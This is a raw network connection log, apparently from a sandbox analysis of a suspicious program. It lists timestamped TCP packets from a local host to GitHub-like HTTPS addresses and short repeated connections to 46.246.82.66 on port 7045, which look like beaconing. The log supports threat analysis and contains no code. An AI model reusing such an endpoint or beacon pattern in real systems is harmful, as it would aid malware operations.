Dec 17, 2024 03:53:45.249253988 CET	50157	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.250003099 CET	50157	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.250014067 CET	443	50157	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.250097036 CET	50157	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.250195980 CET	443	50157	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.250256062 CET	50157	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.250869036 CET	50166	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.250895023 CET	443	50166	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.250957012 CET	50166	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.251437902 CET	50166	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.251449108 CET	443	50166	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.343496084 CET	443	50158	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.343585014 CET	50158	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.344393015 CET	50158	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.344410896 CET	443	50158	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.344479084 CET	50158	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.344840050 CET	443	50158	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.344897032 CET	50158	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.345284939 CET	50167	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.345314026 CET	443	50167	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.345367908 CET	50167	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.345690012 CET	50167	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:45.345706940 CET	443	50167	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:45.736079931 CET	50168	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:45.856391907 CET	7045	50168	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:45.856595993 CET	50168	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:45.856669903 CET	50168	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:45.976695061 CET	7045	50168	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:46.007829905 CET	443	50160	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:46.007931948 CET	50160	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:46.008764029 CET	50160	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:46.008790970 CET	443	50160	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:46.008855104 CET	50160	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:46.009437084 CET	443	50160	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:46.009510994 CET	50160	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:46.009551048 CET	50169	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:46.009596109 CET	443	50169	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:46.009658098 CET	50169	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:46.010107040 CET	50169	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:46.010123014 CET	443	50169	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:46.101991892 CET	443	50159	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.102102995 CET	50159	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.102977037 CET	50159	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.102988958 CET	443	50159	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.103092909 CET	50159	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.103276014 CET	443	50159	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.103342056 CET	50159	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.104078054 CET	50170	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.104161978 CET	443	50170	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.104250908 CET	50170	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.104661942 CET	50170	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.104697943 CET	443	50170	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.459824085 CET	443	50166	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.459927082 CET	50166	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.460854053 CET	50166	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.460869074 CET	443	50166	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.460951090 CET	50166	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.461056948 CET	443	50166	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.461108923 CET	50166	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.461894035 CET	50171	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.461941957 CET	443	50171	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.462011099 CET	50171	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.462435007 CET	50171	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.462452888 CET	443	50171	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.561316013 CET	443	50167	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.561428070 CET	50167	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.562347889 CET	50167	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.562347889 CET	50167	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.562406063 CET	443	50167	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.562803030 CET	443	50167	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.562866926 CET	50167	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.563009977 CET	50172	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.563071012 CET	443	50172	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.563148975 CET	50172	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.563467979 CET	50172	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:46.563494921 CET	443	50172	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:46.623177052 CET	50173	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:46.743380070 CET	7045	50173	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:46.743485928 CET	50173	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:46.743814945 CET	50173	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:46.864005089 CET	7045	50173	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:47.317893982 CET	443	50170	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.317997932 CET	50170	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.319006920 CET	50170	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.319006920 CET	50170	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.319093943 CET	443	50170	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.319628000 CET	443	50170	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.319638968 CET	50179	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.319680929 CET	443	50179	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.319736958 CET	50179	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.319833994 CET	50170	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.320091963 CET	50179	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.320106983 CET	443	50179	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.393313885 CET	443	50169	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:47.393397093 CET	50169	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:47.394488096 CET	50169	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:47.394494057 CET	443	50169	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:47.394840002 CET	443	50169	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:47.394876003 CET	50169	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:47.394884109 CET	443	50169	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:47.394895077 CET	50169	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:47.395425081 CET	50180	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:47.395467043 CET	443	50180	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:47.395536900 CET	50180	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:47.395925045 CET	50180	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:47.395951033 CET	443	50180	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:47.670173883 CET	443	50171	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.670381069 CET	50171	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.671307087 CET	50171	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.671327114 CET	443	50171	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.671396017 CET	50171	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.671498060 CET	443	50171	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.671550989 CET	50171	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.672300100 CET	50181	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.672384024 CET	443	50181	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:47.672689915 CET	50181	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.673029900 CET	50181	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:47.673111916 CET	443	50181	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.107922077 CET	443	50172	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.108027935 CET	50172	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.108925104 CET	50172	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.108957052 CET	443	50172	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.109045029 CET	50172	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.109390020 CET	443	50172	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.109453917 CET	50172	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.109906912 CET	50182	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.109946012 CET	443	50182	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.110022068 CET	50182	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.110407114 CET	50182	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.110419989 CET	443	50182	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.161580086 CET	7045	50168	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:48.161808968 CET	50168	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:48.161808968 CET	50168	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:48.281892061 CET	7045	50168	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:48.791642904 CET	443	50180	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:48.791817904 CET	50180	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:48.792722940 CET	50180	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:48.792738914 CET	443	50180	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:48.792819977 CET	50180	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:48.793061018 CET	443	50180	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:48.793133020 CET	50180	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:48.793603897 CET	50183	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:48.793690920 CET	443	50183	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:48.793780088 CET	50183	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:48.796830893 CET	50183	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:48.796866894 CET	443	50183	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:48.851497889 CET	443	50179	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.851938963 CET	50179	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.852478981 CET	50179	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.852494955 CET	443	50179	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.852564096 CET	50179	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.852881908 CET	443	50179	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.852938890 CET	50179	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.853569984 CET	50184	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.853653908 CET	443	50184	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.853748083 CET	50184	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.854106903 CET	50184	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.854146957 CET	443	50184	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.881299973 CET	443	50181	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.881411076 CET	50181	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.882005930 CET	50181	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.882039070 CET	443	50181	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.882076979 CET	50181	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.882226944 CET	443	50181	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.882278919 CET	50181	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.882750034 CET	50185	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.882839918 CET	443	50185	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.882920027 CET	50185	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.883271933 CET	50185	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:48.883305073 CET	443	50185	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:48.925033092 CET	7045	50173	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:48.925122976 CET	50173	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:48.925205946 CET	50173	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:49.044970036 CET	7045	50173	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:49.642354012 CET	443	50182	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:49.642545938 CET	50182	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:49.643515110 CET	50182	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:49.643524885 CET	443	50182	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:49.643661022 CET	50182	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:49.643903971 CET	443	50182	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:49.644021988 CET	50182	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:49.644551992 CET	50191	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:49.644651890 CET	443	50191	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:49.644756079 CET	50191	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:49.645189047 CET	50191	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:49.645222902 CET	443	50191	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.185610056 CET	443	50184	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.185729980 CET	50184	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.186744928 CET	50184	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.186744928 CET	50184	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.186800957 CET	443	50184	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.187381029 CET	443	50184	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.187453985 CET	50184	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.187589884 CET	50192	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.187657118 CET	443	50192	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.187728882 CET	50192	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.188082933 CET	50192	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.188112020 CET	443	50192	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.273614883 CET	443	50183	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:50.273719072 CET	50183	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:50.274579048 CET	50183	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:50.274606943 CET	443	50183	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:50.274720907 CET	50183	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:50.274799109 CET	443	50183	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:50.274854898 CET	50183	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:50.275500059 CET	50193	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:50.275531054 CET	443	50193	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:50.275608063 CET	50193	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:50.276002884 CET	50193	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:50.276014090 CET	443	50193	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:50.506021023 CET	443	50185	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.506086111 CET	50185	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.507167101 CET	50185	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.507185936 CET	443	50185	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.507349014 CET	50185	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.507394075 CET	443	50185	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.507446051 CET	50185	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.508176088 CET	50194	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.508215904 CET	443	50194	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.508282900 CET	50194	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.508657932 CET	50194	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.508681059 CET	443	50194	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.855772018 CET	443	50191	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.855964899 CET	50191	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.856842041 CET	50191	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.856872082 CET	443	50191	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.856957912 CET	50191	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.857415915 CET	443	50191	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.857497931 CET	50191	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.857764006 CET	50195	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.857865095 CET	443	50195	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:50.857956886 CET	50195	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.858314037 CET	50195	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:50.858351946 CET	443	50195	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:51.400484085 CET	443	50192	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:51.400590897 CET	50192	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:51.401496887 CET	50192	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:51.401515961 CET	443	50192	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:51.401628017 CET	50192	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:51.401876926 CET	443	50192	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:51.401947021 CET	50192	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:51.403192043 CET	50197	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:51.403245926 CET	443	50197	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:51.403338909 CET	50197	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:51.403767109 CET	50197	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:51.403795004 CET	443	50197	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:51.662686110 CET	443	50193	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:51.662795067 CET	50193	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:51.663742065 CET	50193	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:51.663742065 CET	50193	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:51.663770914 CET	443	50193	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:51.664021969 CET	443	50193	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:51.664370060 CET	50202	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:51.664426088 CET	443	50202	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:51.664500952 CET	50202	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:51.664509058 CET	50193	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:51.664861917 CET	50202	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:51.664890051 CET	443	50202	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:52.038330078 CET	443	50194	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.038424015 CET	50194	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.039232016 CET	50194	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.039251089 CET	443	50194	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.039344072 CET	50194	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.039422035 CET	443	50194	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.039482117 CET	50194	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.040364981 CET	50203	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.040483952 CET	443	50203	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.040566921 CET	50203	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.041111946 CET	50203	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.041193008 CET	443	50203	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.069535017 CET	443	50195	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.069642067 CET	50195	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.070225000 CET	50195	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.070252895 CET	443	50195	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.070352077 CET	50195	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.070677996 CET	443	50195	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.070738077 CET	50195	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.071003914 CET	50204	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.071088076 CET	443	50204	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.071190119 CET	50204	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.071455002 CET	50204	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.071510077 CET	443	50204	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.946475029 CET	443	50197	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.946603060 CET	50197	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.950284004 CET	50197	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.950301886 CET	443	50197	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.950391054 CET	50197	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.950850010 CET	443	50197	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.950918913 CET	50197	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.968919992 CET	50205	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.968962908 CET	443	50205	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:52.969041109 CET	50205	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.969598055 CET	50205	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:52.969609022 CET	443	50205	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.053400040 CET	443	50202	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:53.053493977 CET	50202	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:53.056324005 CET	50202	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:53.056365013 CET	443	50202	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:53.056417942 CET	50202	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:53.056652069 CET	443	50202	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:53.056716919 CET	50202	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:53.057115078 CET	50206	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:53.057202101 CET	443	50206	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:53.057280064 CET	50206	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:53.057653904 CET	50206	443	192.168.2.4	140.82.121.4
Dec 17, 2024 03:53:53.057689905 CET	443	50206	140.82.121.4	192.168.2.4
Dec 17, 2024 03:53:53.209408998 CET	50207	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:53.253273010 CET	443	50203	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.253350973 CET	50203	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.254139900 CET	50203	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.254169941 CET	443	50203	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.254251003 CET	50203	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.254312038 CET	443	50203	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.254363060 CET	50203	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.255002022 CET	50208	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.255043030 CET	443	50208	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.255116940 CET	50208	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.255462885 CET	50208	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.255490065 CET	443	50208	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.296303034 CET	443	50204	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.296500921 CET	50204	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.297036886 CET	50204	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.297101974 CET	443	50204	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.297158957 CET	50204	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.297437906 CET	443	50204	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.297504902 CET	50204	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.297770023 CET	50209	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.297854900 CET	443	50209	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.297931910 CET	50209	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.298245907 CET	50209	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:53.298284054 CET	443	50209	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:53.329519987 CET	7045	50207	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:53.329612970 CET	50207	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:53.329839945 CET	50207	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:53.449611902 CET	7045	50207	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:53.961961985 CET	50215	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:54.081914902 CET	7045	50215	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:54.081994057 CET	50215	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:54.082190990 CET	50215	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:54.201987982 CET	7045	50215	46.246.82.66	192.168.2.4
